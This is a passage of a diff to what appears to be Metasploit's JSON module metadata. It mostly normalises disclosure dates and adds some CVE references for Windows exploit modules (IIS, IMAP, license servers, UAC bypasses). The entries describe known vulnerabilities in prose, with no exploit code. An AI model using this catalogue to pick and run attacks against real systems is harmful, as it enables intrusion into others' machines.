+69725,7 @@ "name": "Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability", "full_name": "exploit/windows/http/novell_mdm_lfi", "rank": 600, - "disclosure_date": "2013-03-13 00:00:00 -0500", + "disclosure_date": "2013-03-13", "type": "exploit", "author": [ "steponequit", @@ -71776,7 +69755,7 @@ "name": "Novell Messenger Server 2.0 Accept-Language Overflow", "full_name": "exploit/windows/http/novell_messenger_acceptlang", "rank": 200, - "disclosure_date": "2006-04-13 00:00:00 -0500", + "disclosure_date": "2006-04-13", "type": "exploit", "author": [ "hdm " @@ -71804,7 +69783,7 @@ "name": "Now SMS/MMS Gateway Buffer Overflow", "full_name": "exploit/windows/http/nowsms", "rank": 400, - "disclosure_date": "2008-02-19 00:00:00 -0600", + "disclosure_date": "2008-02-19", "type": "exploit", "author": [ "MC " @@ -71832,7 +69811,7 @@ "name": "Octopus Deploy Authenticated Code Execution", "full_name": "exploit/windows/http/octopusdeploy_deploy", "rank": 600, - "disclosure_date": "2017-05-15 00:00:00 -0500", + "disclosure_date": "2017-05-15", "type": "exploit", "author": [ "James Otten " @@ -71858,7 +69837,7 @@ "name": "Oracle 9i XDB HTTP PASS Overflow (win32)", "full_name": "exploit/windows/http/oracle9i_xdb_pass", "rank": 500, - "disclosure_date": "2003-08-18 00:00:00 -0500", + "disclosure_date": "2003-08-18", "type": "exploit", "author": [ "MC " @@ -71887,7 +69866,7 @@ "name": "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability", "full_name": "exploit/windows/http/oracle_beehive_evaluation", "rank": 600, - "disclosure_date": "2010-06-09 00:00:00 -0500", + "disclosure_date": "2010-06-09", "type": "exploit", "author": [ "1c239c43f521145fa8385d64a9c32243", @@ -71917,7 +69896,7 @@ "name": "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload", "full_name": "exploit/windows/http/oracle_beehive_prepareaudiotoplay", "rank": 600, - "disclosure_date": "2015-11-10 00:00:00 -0600", + "disclosure_date": "2015-11-10", "type": "exploit", "author": [ "mr_me ", @@ -71945,7 +69924,7 @@ "name": "Oracle Business Transaction Management FlashTunnelService Remote Code Execution", "full_name": "exploit/windows/http/oracle_btm_writetofile", "rank": 600, - "disclosure_date": "2012-08-07 00:00:00 -0500", + "disclosure_date": "2012-08-07", "type": "exploit", "author": [ "rgod ", @@ -71976,7 +69955,7 @@ "name": "Oracle Endeca Server Remote Command Execution", "full_name": "exploit/windows/http/oracle_endeca_exec", "rank": 600, - "disclosure_date": "2013-07-16 00:00:00 -0500", + "disclosure_date": "2013-07-16", "type": "exploit", "author": [ "rgod ", @@ -72007,7 +69986,7 @@ "name": "Oracle Event Processing FileUploadServlet Arbitrary File Upload", "full_name": "exploit/windows/http/oracle_event_processing_upload", "rank": 600, - "disclosure_date": "2014-04-21 00:00:00 -0500", + "disclosure_date": "2014-04-21", "type": "exploit", "author": [ "rgod ", @@ -72037,7 +70016,7 @@ "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "full_name": "exploit/windows/http/osb_uname_jlist", "rank": 600, - "disclosure_date": "2010-07-13 00:00:00 -0500", + "disclosure_date": "2010-07-13", "type": "exploit", "author": [ "MC " @@ -72065,7 +70044,7 @@ "name": "PeerCast URL Handling Buffer Overflow", "full_name": "exploit/windows/http/peercast_url", "rank": 200, - "disclosure_date": "2006-03-08 00:00:00 -0600", + "disclosure_date": "2006-03-08", "type": "exploit", "author": [ "hdm " @@ -72097,7 +70076,7 @@ "name": "PHP apache_request_headers Function Buffer Overflow", "full_name": "exploit/windows/http/php_apache_request_headers_bof", "rank": 300, - "disclosure_date": "2012-05-08 00:00:00 -0500", + "disclosure_date": "2012-05-08", "type": "exploit", "author": [ "Vincent Danen", @@ -72129,7 +70108,7 @@ "name": "Private Wire Gateway Buffer Overflow", "full_name": "exploit/windows/http/privatewire_gateway", "rank": 200, - "disclosure_date": "2006-06-26 00:00:00 -0500", + "disclosure_date": "2006-06-26", "type": "exploit", "author": [ "Michael Thumann " @@ -72163,7 +70142,7 @@ "name": "PSO Proxy v0.91 Stack Buffer Overflow", "full_name": "exploit/windows/http/psoproxy91_overflow", "rank": 200, - "disclosure_date": "2004-02-20 00:00:00 -0600", + "disclosure_date": "2004-02-20", "type": "exploit", "author": [ "aushack " @@ -72197,7 +70176,7 @@ "name": "RabidHamster R4 Log Entry sprintf() Buffer Overflow", "full_name": "exploit/windows/http/rabidhamster_r4_log", "rank": 300, - "disclosure_date": "2012-02-09 00:00:00 -0600", + "disclosure_date": "2012-02-09", "type": "exploit", "author": [ "Luigi Auriemma", @@ -72226,7 +70205,7 @@ "name": "Rejetto HttpFileServer Remote Command Execution", "full_name": "exploit/windows/http/rejetto_hfs_exec", "rank": 600, - "disclosure_date": "2014-09-11 00:00:00 -0500", + "disclosure_date": "2014-09-11", "type": "exploit", "author": [ "Daniele Linguaglossa ", @@ -72256,7 +70235,7 @@ "name": "Sambar 6 Search Results Buffer Overflow", "full_name": "exploit/windows/http/sambar6_search_results", "rank": 300, - "disclosure_date": "2003-06-21 00:00:00 -0500", + "disclosure_date": "2003-06-21", "type": "exploit", "author": [ "hdm ", @@ -72288,7 +70267,7 @@ "name": "SAP ConfigServlet Remote Code Execution", "full_name": "exploit/windows/http/sap_configservlet_exec_noauth", "rank": 500, - "disclosure_date": "2012-11-01 00:00:00 -0500", + "disclosure_date": "2012-11-01", "type": "exploit", "author": [ "Dmitry Chastuhin", @@ -72317,7 +70296,7 @@ "name": "SAP NetWeaver HostControl Command Injection", "full_name": "exploit/windows/http/sap_host_control_cmd_exec", "rank": 200, - "disclosure_date": "2012-08-14 00:00:00 -0500", + "disclosure_date": "2012-08-14", "type": "exploit", "author": [ "Michael Jordon", @@ -72346,7 +70325,7 @@ "name": "SAP DB 7.4 WebTools Buffer Overflow", "full_name": "exploit/windows/http/sapdb_webtools", "rank": 500, - "disclosure_date": "2007-07-05 00:00:00 -0500", + "disclosure_date": "2007-07-05", "type": "exploit", "author": [ "MC " @@ -72374,7 +70353,7 @@ "name": "Savant 3.1 Web Server Overflow", "full_name": "exploit/windows/http/savant_31_overflow", "rank": 500, - "disclosure_date": "2002-09-10 00:00:00 -0500", + "disclosure_date": "2002-09-10", "type": "exploit", "author": [ "aushack " @@ -72407,7 +70386,7 @@ "name": "Symantec Endpoint Protection Manager Authentication Bypass and Code Execution", "full_name": "exploit/windows/http/sepm_auth_bypass_rce", "rank": 600, - "disclosure_date": "2015-07-31 00:00:00 -0500", + "disclosure_date": "2015-07-31", "type": "exploit", "author": [ "Markus Wulftange", @@ -72437,7 +70416,7 @@ "name": "Serviio Media Server checkStreamUrl Command Execution", "full_name": "exploit/windows/http/serviio_checkstreamurl_cmd_exec", "rank": 600, - "disclosure_date": "2017-05-03 00:00:00 -0500", + "disclosure_date": "2017-05-03", "type": "exploit", "author": [ "Gjoko Krstic(LiquidWorm) ", @@ -72467,7 +70446,7 @@ "name": "Rhinosoft Serv-U Session Cookie Buffer Overflow", "full_name": "exploit/windows/http/servu_session_cookie", "rank": 400, - "disclosure_date": "2009-11-01 00:00:00 -0500", + "disclosure_date": "2009-11-01", "type": "exploit", "author": [ "Nikolas Rangos ", @@ -72498,7 +70477,7 @@ "name": "SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow", "full_name": "exploit/windows/http/shoutcast_format", "rank": 200, - "disclosure_date": "2004-12-23 00:00:00 -0600", + "disclosure_date": "2004-12-23", "type": "exploit", "author": [ "MC ", @@ -72531,7 +70510,7 @@ "name": "SHTTPD URI-Encoded POST Request Overflow", "full_name": "exploit/windows/http/shttpd_post", "rank": 200, - "disclosure_date": "2006-10-06 00:00:00 -0500", + "disclosure_date": "2006-10-06", "type": "exploit", "author": [ "LMH ", @@ -72572,7 +70551,7 @@ "name": "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability", "full_name": "exploit/windows/http/solarwinds_fsm_userlogin", "rank": 600, - "disclosure_date": "2015-03-13 00:00:00 -0500", + "disclosure_date": "2015-03-13", "type": "exploit", "author": [ "rgod", @@ -72603,7 +70582,7 @@ "name": "Solarwinds Storage Manager 5.1.0 SQL Injection", "full_name": "exploit/windows/http/solarwinds_storage_manager_sql", "rank": 600, - "disclosure_date": "2011-12-07 00:00:00 -0600", + "disclosure_date": "2011-12-07", "type": "exploit", "author": [ "r ", @@ -72634,7 +70613,7 @@ "name": "Dell SonicWALL (Plixer) Scrutinizer 9 SQL Injection", "full_name": "exploit/windows/http/sonicwall_scrutinizer_sqli", "rank": 600, - "disclosure_date": "2012-07-22 00:00:00 -0500", + "disclosure_date": "2012-07-22", "type": "exploit", "author": [ "muts", @@ -72666,7 +70645,7 @@ "name": "Streamcast HTTP User-Agent Buffer Overflow", "full_name": "exploit/windows/http/steamcast_useragent", "rank": 200, - "disclosure_date": "2008-01-24 00:00:00 -0600", + "disclosure_date": "2008-01-24", "type": "exploit", "author": [ "LSO ", @@ -72697,7 +70676,7 @@ "name": "Simple Web Server Connection Header Buffer Overflow", "full_name": "exploit/windows/http/sws_connection_bof", "rank": 300, - "disclosure_date": "2012-07-20 00:00:00 -0500", + "disclosure_date": "2012-07-20", "type": "exploit", "author": [ "mr.pr0n", @@ -72726,7 +70705,7 @@ "name": "Sybase EAServer 5.2 Remote Stack Buffer Overflow", "full_name": "exploit/windows/http/sybase_easerver", "rank": 200, - "disclosure_date": "2005-07-25 00:00:00 -0500", + "disclosure_date": "2005-07-25", "type": "exploit", "author": [ "Unknown" @@ -72758,7 +70737,7 @@ "name": "Sync Breeze Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/syncbreeze_bof", "rank": 500, - "disclosure_date": "2017-03-15 00:00:00 -0500", + "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "Daniel Teixeira", @@ -72768,7 +70747,7 @@ ], "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,\n and v10.1.16, caused by improper bounds checking of the request in\n HTTP GET and POST requests sent to the built-in web server. This\n module has been tested successfully on Windows 7 SP1 x86.", "references": [ - + "CVE-2017-14980" ], "is_server": true, "is_client": false, @@ -72790,7 +70769,7 @@ "name": "Sysax Multi Server 5.64 Create Folder Buffer Overflow", "full_name": "exploit/windows/http/sysax_create_folder", "rank": 300, - "disclosure_date": "2012-07-29 00:00:00 -0500", + "disclosure_date": "2012-07-29", "type": "exploit", "author": [ "Craig Freyman", @@ -72823,7 +70802,7 @@ "name": "TrackerCam PHP Argument Buffer Overflow", "full_name": "exploit/windows/http/trackercam_phparg_overflow", "rank": 200, - "disclosure_date": "2005-02-18 00:00:00 -0600", + "disclosure_date": "2005-02-18", "type": "exploit", "author": [ "hdm " @@ -72855,7 +70834,7 @@ "name": "Numara / BMC Track-It! FileStorageService Arbitrary File Upload", "full_name": "exploit/windows/http/trackit_file_upload", "rank": 600, - "disclosure_date": "2014-10-07 00:00:00 -0500", + "disclosure_date": "2014-10-07", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -72884,7 +70863,7 @@ "name": "Trend Micro OfficeScan Remote Stack Buffer Overflow", "full_name": "exploit/windows/http/trendmicro_officescan", "rank": 400, - "disclosure_date": "2007-06-28 00:00:00 -0500", + "disclosure_date": "2007-06-28", "type": "exploit", "author": [ "toto" @@ -72911,7 +70890,7 @@ "name": "Trend Micro OfficeScan Remote Code Execution", "full_name": "exploit/windows/http/trendmicro_officescan_widget_exec", "rank": 600, - "disclosure_date": "2017-10-07 00:00:00 -0500", + "disclosure_date": "2017-10-07", "type": "exploit", "author": [ "mr_me ", @@ -72919,6 +70898,7 @@ ], "description": "This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a\n terminal command under the context of the web server user.\n\n The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product\n has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which\n leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process\n does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,\n unauthenticated users can execute a terminal command under the context of the web server user.", "references": [ + "CVE-2017-11394", "URL-https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/", "URL-http://www.zerodayinitiative.com/advisories/ZDI-17-521/" ], @@ -72941,7 +70921,7 @@ "name": "Ultra Mini HTTPD Stack Buffer Overflow", "full_name": "exploit/windows/http/ultraminihttp_bof", "rank": 300, - "disclosure_date": "2013-07-10 00:00:00 -0500", + "disclosure_date": "2013-07-10", "type": "exploit", "author": [ "superkojiman", @@ -72975,7 +70955,7 @@ "name": "Umbraco CMS Remote Command Execution", "full_name": "exploit/windows/http/umbraco_upload_aspx", "rank": 600, - "disclosure_date": "2012-06-28 00:00:00 -0500", + "disclosure_date": "2012-06-28", "type": "exploit", "author": [ "Toby Clarke", @@ -73005,7 +70985,7 @@ "name": "VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload", "full_name": "exploit/windows/http/vmware_vcenter_chargeback_upload", "rank": 600, - "disclosure_date": "2013-05-15 00:00:00 -0500", + "disclosure_date": "2013-05-15", "type": "exploit", "author": [ "Andrea Micalizzi", @@ -73035,7 +71015,7 @@ "name": "VX Search Enterprise GET Buffer Overflow", "full_name": "exploit/windows/http/vxsrchs_bof", "rank": 500, - "disclosure_date": "2017-03-15 00:00:00 -0500", + "disclosure_date": "2017-03-15", "type": "exploit", "author": [ "Daniel Teixeira" @@ -73061,7 +71041,7 @@ "name": "Webster HTTP Server GET Buffer Overflow", "full_name": "exploit/windows/http/webster_http", "rank": 200, - "disclosure_date": "2002-12-02 00:00:00 -0600", + "disclosure_date": "2002-12-02", "type": "exploit", "author": [ "aushack " @@ -73092,7 +71072,7 @@ "name": "XAMPP WebDAV PHP Upload", "full_name": "exploit/windows/http/xampp_webdav_upload_php", "rank": 600, - "disclosure_date": "2012-01-14 00:00:00 -0600", + "disclosure_date": "2012-01-14", "type": "exploit", "author": [ "theLightCosine " @@ -73118,7 +71098,7 @@ "name": "Xitami 2.5c2 Web Server If-Modified-Since Overflow", "full_name": "exploit/windows/http/xitami_if_mod_since", "rank": 200, - "disclosure_date": "2007-09-24 00:00:00 -0500", + "disclosure_date": "2007-09-24", "type": "exploit", "author": [ "aushack " @@ -73149,7 +71129,7 @@ "name": "Novell ZENworks Asset Management Remote Execution", "full_name": "exploit/windows/http/zenworks_assetmgmt_uploadservlet", "rank": 600, - "disclosure_date": "2011-11-02 00:00:00 -0500", + "disclosure_date": "2011-11-02", "type": "exploit", "author": [ "Unknown", @@ -73180,13 +71160,14 @@ "name": "Novell ZENworks Configuration Management Remote Execution", "full_name": "exploit/windows/http/zenworks_uploadservlet", "rank": 600, - "disclosure_date": "2010-03-30 00:00:00 -0500", + "disclosure_date": "2010-03-30", "type": "exploit", "author": [ "MC " ], "description": "This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.\n By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory\n and then make a secondary request that allows for arbitrary code execution.", "references": [ + "CVE-2010-5324", "OSVDB-63412", "BID-39114", "ZDI-10-078", @@ -73212,7 +71193,7 @@ "name": " Microsoft IIS WebDav ScStoragePathFromUrl Overflow", "full_name": "exploit/windows/iis/iis_webdav_scstoragepathfromurl", "rank": 0, - "disclosure_date": "2017-03-26 00:00:00 -0500", + "disclosure_date": "2017-03-26", "type": "exploit", "author": [ "Zhiniang Peng", @@ -73248,7 +71229,7 @@ "name": "Microsoft IIS WebDAV Write Access Code Execution", "full_name": "exploit/windows/iis/iis_webdav_upload_asp", "rank": 600, - "disclosure_date": "1994-01-01 00:00:00 -0600", + "disclosure_date": "1994-01-01", "type": "exploit", "author": [ "hdm " @@ -73275,7 +71256,7 @@ "name": "MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow", "full_name": "exploit/windows/iis/ms01_023_printer", "rank": 400, - "disclosure_date": "2001-05-01 00:00:00 -0500", + "disclosure_date": "2001-05-01", "type": "exploit", "author": [ "hdm " @@ -73305,7 +71286,7 @@ "name": "MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution", "full_name": "exploit/windows/iis/ms01_026_dbldecode", "rank": 600, - "disclosure_date": "2001-05-15 00:00:00 -0500", + "disclosure_date": "2001-05-15", "type": "exploit", "author": [ "jduck " @@ -73335,7 +71316,7 @@ "name": "MS01-033 Microsoft IIS 5.0 IDQ Path Overflow", "full_name": "exploit/windows/iis/ms01_033_idq", "rank": 400, - "disclosure_date": "2001-06-18 00:00:00 -0500", + "disclosure_date": "2001-06-18", "type": "exploit", "author": [ "MC " @@ -73365,7 +71346,7 @@ "name": "MS02-018 Microsoft IIS 4.0 .HTR Path Overflow", "full_name": "exploit/windows/iis/ms02_018_htr", "rank": 400, - "disclosure_date": "2002-04-10 00:00:00 -0500", + "disclosure_date": "2002-04-10", "type": "exploit", "author": [ "stinko " @@ -73397,7 +71378,7 @@ "name": "MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow", "full_name": "exploit/windows/iis/ms02_065_msadc", "rank": 300, - "disclosure_date": "2002-11-20 00:00:00 -0600", + "disclosure_date": "2002-11-20", "type": "exploit", "author": [ "aushack " @@ -73427,7 +71408,7 @@ "name": "MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow", "full_name": "exploit/windows/iis/ms03_007_ntdll_webdav", "rank": 500, - "disclosure_date": "2003-05-30 00:00:00 -0500", + "disclosure_date": "2003-05-30", "type": "exploit", "author": [ "hdm " @@ -73456,7 +71437,7 @@ "name": "MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution", "full_name": "exploit/windows/iis/msadc", "rank": 600, - "disclosure_date": "1998-07-17 00:00:00 -0500", + "disclosure_date": "1998-07-17", "type": "exploit", "author": [ "aushack " @@ -73486,7 +71467,7 @@ "name": "Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow", "full_name": "exploit/windows/imap/eudora_list", "rank": 500, - "disclosure_date": "2005-12-20 00:00:00 -0600", + "disclosure_date": "2005-12-20", "type": "exploit", "author": [ "MC ", @@ -73518,7 +71499,7 @@ "name": "IMail IMAP4D Delete Overflow", "full_name": "exploit/windows/imap/imail_delete", "rank": 200, - "disclosure_date": "2004-11-12 00:00:00 -0600", + "disclosure_date": "2004-11-12", "type": "exploit", "author": [ "spoonm " @@ -73546,7 +71527,7 @@ "name": "Ipswitch IMail IMAP SEARCH Buffer Overflow", "full_name": "exploit/windows/imap/ipswitch_search", "rank": 200, - "disclosure_date": "2007-07-18 00:00:00 -0500", + "disclosure_date": "2007-07-18", "type": "exploit", "author": [ "MC " @@ -73575,7 +71556,7 @@ "name": "MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow", "full_name": "exploit/windows/imap/mailenable_login", "rank": 500, - "disclosure_date": "2006-12-11 00:00:00 -0600", + "disclosure_date": "2006-12-11", "type": "exploit", "author": [ "MC " @@ -73604,7 +71585,7 @@ "name": "MailEnable IMAPD (1.54) STATUS Request Buffer Overflow", "full_name": "exploit/windows/imap/mailenable_status", "rank": 500, - "disclosure_date": "2005-07-13 00:00:00 -0500", + "disclosure_date": "2005-07-13", "type": "exploit", "author": [ "MC " @@ -73636,7 +71617,7 @@ "name": "MailEnable IMAPD W3C Logging Buffer Overflow", "full_name": "exploit/windows/imap/mailenable_w3c_select", "rank": 500, - "disclosure_date": "2005-10-03 00:00:00 -0500", + "disclosure_date": "2005-10-03", "type": "exploit", "author": [ "MC " @@ -73664,7 +71645,7 @@ "name": "Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow", "full_name": "exploit/windows/imap/mdaemon_cram_md5", "rank": 500, - "disclosure_date": "2004-11-12 00:00:00 -0600", + "disclosure_date": "2004-11-12", "type": "exploit", "author": [ "Unknown" @@ -73692,7 +71673,7 @@ "name": "MDaemon 9.6.4 IMAPD FETCH Buffer Overflow", "full_name": "exploit/windows/imap/mdaemon_fetch", "rank": 500, - "disclosure_date": "2008-03-13 00:00:00 -0500", + "disclosure_date": "2008-03-13", "type": "exploit", "author": [ "Jacopo Cervini", @@ -73722,7 +71703,7 @@ "name": "Mercur v5.0 IMAP SP3 SELECT Buffer Overflow", "full_name": "exploit/windows/imap/mercur_imap_select_overflow", "rank": 200, - "disclosure_date": "2006-03-17 00:00:00 -0600", + "disclosure_date": "2006-03-17", "type": "exploit", "author": [ "Jacopo Cervini " @@ -73751,7 +71732,7 @@ "name": "Mercur Messaging 2005 IMAP Login Buffer Overflow", "full_name": "exploit/windows/imap/mercur_login", "rank": 200, - "disclosure_date": "2006-03-17 00:00:00 -0600", + "disclosure_date": "2006-03-17", "type": "exploit", "author": [ "MC " @@ -73781,7 +71762,7 @@ "name": "Mercury/32 LOGIN Buffer Overflow", "full_name": "exploit/windows/imap/mercury_login", "rank": 200, - "disclosure_date": "2007-03-06 00:00:00 -0600", + "disclosure_date": "2007-03-06", "type": "exploit", "author": [ "MC " @@ -73809,7 +71790,7 @@ "name": "Mercury/32 v4.01a IMAP RENAME Buffer Overflow", "full_name": "exploit/windows/imap/mercury_rename", "rank": 200, - "disclosure_date": "2004-11-29 00:00:00 -0600", + "disclosure_date": "2004-11-29", "type": "exploit", "author": [ "MC " @@ -73841,7 +71822,7 @@ "name": "Novell NetMail IMAP APPEND Buffer Overflow", "full_name": "exploit/windows/imap/novell_netmail_append", "rank": 200, - "disclosure_date": "2006-12-23 00:00:00 -0600", + "disclosure_date": "2006-12-23", "type": "exploit", "author": [ "MC " @@ -73870,7 +71851,7 @@ "name": "Novell NetMail IMAP AUTHENTICATE Buffer Overflow", "full_name": "exploit/windows/imap/novell_netmail_auth", "rank": 200, - "disclosure_date": "2007-01-07 00:00:00 -0600", + "disclosure_date": "2007-01-07", "type": "exploit", "author": [ "MC " @@ -73896,7 +71877,7 @@ "name": "Novell NetMail IMAP STATUS Buffer Overflow", "full_name": "exploit/windows/imap/novell_netmail_status", "rank": 200, - "disclosure_date": "2005-11-18 00:00:00 -0600", + "disclosure_date": "2005-11-18", "type": "exploit", "author": [ "MC " @@ -73924,7 +71905,7 @@ "name": "Novell NetMail IMAP SUBSCRIBE Buffer Overflow", "full_name": "exploit/windows/imap/novell_netmail_subscribe", "rank": 200, - "disclosure_date": "2006-12-23 00:00:00 -0600", + "disclosure_date": "2006-12-23", "type": "exploit", "author": [ "MC " @@ -73953,7 +71934,7 @@ "name": "MS00-094 Microsoft IIS Phone Book Service Overflow", "full_name": "exploit/windows/isapi/ms00_094_pbserver", "rank": 400, - "disclosure_date": "2000-12-04 00:00:00 -0600", + "disclosure_date": "2000-12-04", "type": "exploit", "author": [ "aushack " @@ -73984,7 +71965,7 @@ "name": "MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow", "full_name": "exploit/windows/isapi/ms03_022_nsiislog_post", "rank": 400, - "disclosure_date": "2003-06-25 00:00:00 -0500", + "disclosure_date": "2003-06-25", "type": "exploit", "author": [ "hdm " @@ -74017,7 +71998,7 @@ "name": "MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow", "full_name": "exploit/windows/isapi/ms03_051_fp30reg_chunked", "rank": 400, - "disclosure_date": "2003-11-11 00:00:00 -0600", + "disclosure_date": "2003-11-11", "type": "exploit", "author": [ "hdm " @@ -74048,7 +72029,7 @@ "name": "Microsoft IIS ISAPI RSA WebAgent Redirect Overflow", "full_name": "exploit/windows/isapi/rsa_webagent_redirect", "rank": 400, - "disclosure_date": "2005-10-21 00:00:00 -0500", + "disclosure_date": "2005-10-21", "type": "exploit", "author": [ "hdm " @@ -74084,7 +72065,7 @@ "name": "Microsoft IIS ISAPI w3who.dll Query String Overflow", "full_name": "exploit/windows/isapi/w3who_query", "rank": 400, - "disclosure_date": "2004-12-06 00:00:00 -0600", + "disclosure_date": "2004-12-06", "type": "exploit", "author": [ "hdm " @@ -74115,7 +72096,7 @@ "name": "IMail LDAP Service Buffer Overflow", "full_name": "exploit/windows/ldap/imail_thc", "rank": 200, - "disclosure_date": "2004-02-17 00:00:00 -0600", + "disclosure_date": "2004-02-17", "type": "exploit", "author": [ "hdm " @@ -74145,7 +72126,7 @@ "name": "Network Associates PGP KeyServer 7 LDAP Buffer Overflow", "full_name": "exploit/windows/ldap/pgp_keyserver7", "rank": 400, - "disclosure_date": "2001-07-16 00:00:00 -0500", + "disclosure_date": "2001-07-16", "type": "exploit", "author": [ "aushack " @@ -74174,7 +72155,7 @@ "name": "Computer Associates License Client GETCONFIG Overflow", "full_name": "exploit/windows/license/calicclnt_getconfig", "rank": 200, - "disclosure_date": "2005-03-02 00:00:00 -0600", + "disclosure_date": "2005-03-02", "type": "exploit", "author": [ "hdm ", @@ -74208,7 +72189,7 @@ "name": "Computer Associates License Server GETCONFIG Overflow", "full_name": "exploit/windows/license/calicserv_getconfig", "rank": 300, - "disclosure_date": "2005-03-02 00:00:00 -0600", + "disclosure_date": "2005-03-02", "type": "exploit", "author": [ "hdm ", @@ -74242,7 +72223,7 @@ "name": "FlexNet License Server Manager lmgrd Buffer Overflow", "full_name": "exploit/windows/license/flexnet_lmgrd_bof", "rank": 300, - "disclosure_date": "2012-03-23 00:00:00 -0500", + "disclosure_date": "2012-03-23", "type": "exploit", "author": [ "Luigi Auriemma", @@ -74278,7 +72259,7 @@ "name": "SentinelLM UDP Buffer Overflow", "full_name": "exploit/windows/license/sentinel_lm7_udp", "rank": 200, - "disclosure_date": "2005-03-07 00:00:00 -0600", + "disclosure_date": "2005-03-07", "type": "exploit", "author": [ "hdm " @@ -74311,7 +72292,7 @@ "name": "AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass", "full_name": "exploit/windows/local/adobe_sandbox_adobecollabsync", "rank": 500, - "disclosure_date": "2013-05-14 00:00:00 -0500", + "disclosure_date": "2013-05-14", "type": "exploit", "author": [ "Felipe Andres Manzano", @@ -74340,13 +72321,13 @@ "name": "Agnitum Outpost Internet Security Local Privilege Escalation", "full_name": "exploit/windows/local/agnitum_outpost_acs", "rank": 600, - "disclosure_date": "2013-08-02 00:00:00 -0500", + "disclosure_date": "2013-08-02", "type": "exploit", "author": [ "Ahmad Moghimi", "juan vazquez " ], - "description": "This module exploits a directory traversal vulnerability on Agnitum Outpost Internet\n Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load\n load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary\n code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with\n Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).", + "description": "This module exploits a directory traversal vulnerability on Agnitum Outpost Internet\n Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load\n arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary\n code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with\n Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).", "references": [ "OSVDB-96208", "EDB-27282" @@ -74368,7 +72349,7 @@ "name": "Windows AlwaysInstallElevated MSI", "full_name": "exploit/windows/local/always_install_elevated", "rank": 600, - "disclosure_date": "2010-03-18 00:00:00 -0500", + "disclosure_date": "2010-03-18", "type": "exploit", "author": [ "Ben Campbell ", @@ -74397,7 +72378,7 @@ "name": "AppLocker Execution Prevention Bypass", "full_name": "exploit/windows/local/applocker_bypass", "rank": 600, - "disclosure_date": "2015-08-03 00:00:00 -0500", + "disclosure_date": "2015-08-03", "type": "exploit", "author": [ "Casey Smith", @@ -74424,7 +72405,7 @@ "name": "Windows Escalate UAC Execute RunAs", "full_name": "exploit/windows/local/ask", "rank": 600, - "disclosure_date": "2012-01-03 00:00:00 -0600", + "disclosure_date": "2012-01-03", "type": "exploit", "author": [ "mubix ", @@ -74451,7 +72432,7 @@ "name": "MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation", "full_name": "exploit/windows/local/bthpan", "rank": 200, - "disclosure_date": "2014-07-18 00:00:00 -0500", + "disclosure_date": "2014-07-18", "type": "exploit", "author": [ "Matt Bergin ", @@ -74481,7 +72462,7 @@ "name": "Windows Escalate UAC Protection Bypass", "full_name": "exploit/windows/local/bypassuac", "rank": 600, - "disclosure_date": "2010-12-31 00:00:00 -0600", + "disclosure_date": "2010-12-31", "type": "exploit", "author": [ "David Kennedy \"ReL1K\" ", @@ -74510,7 +72491,7 @@ "name": "Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)", "full_name": "exploit/windows/local/bypassuac_comhijack", "rank": 600, - "disclosure_date": "1900-01-01 00:00:00 -0600", + "disclosure_date": "1900-01-01", "type": "exploit", "author": [ "Matt Nelson", @@ -74539,7 +72520,7 @@ "name": "Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)", "full_name": "exploit/windows/local/bypassuac_eventvwr", "rank": 600, - "disclosure_date": "2016-08-15 00:00:00 -0500", + "disclosure_date": "2016-08-15", "type": "exploit", "author": [ "Matt Nelson", @@ -74568,7 +72549,7 @@ "name": "Windows UAC Protection Bypass (Via FodHelper Registry Key)", "full_name": "exploit/windows/local/bypassuac_fodhelper", "rank": 600, - "disclosure_date": "2017-05-12 00:00:00 -0500", + "disclosure_date": "2017-05-12", "type": "exploit", "author": [ "winscriptingblog", @@ -74596,7 +72577,7 @@ "name": "Windows Escalate UAC Protection Bypass (In Memory Injection)", "full_name": "exploit/windows/local/bypassuac_injection", "rank": 600, - "disclosure_date": "2010-12-31 00:00:00 -0600", + "disclosure_date": "2010-12-31", "type": "exploit", "author": [ "David Kennedy \"ReL1K\" ", @@ -74628,7 +72609,7 @@ "name": "Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS", "full_name": 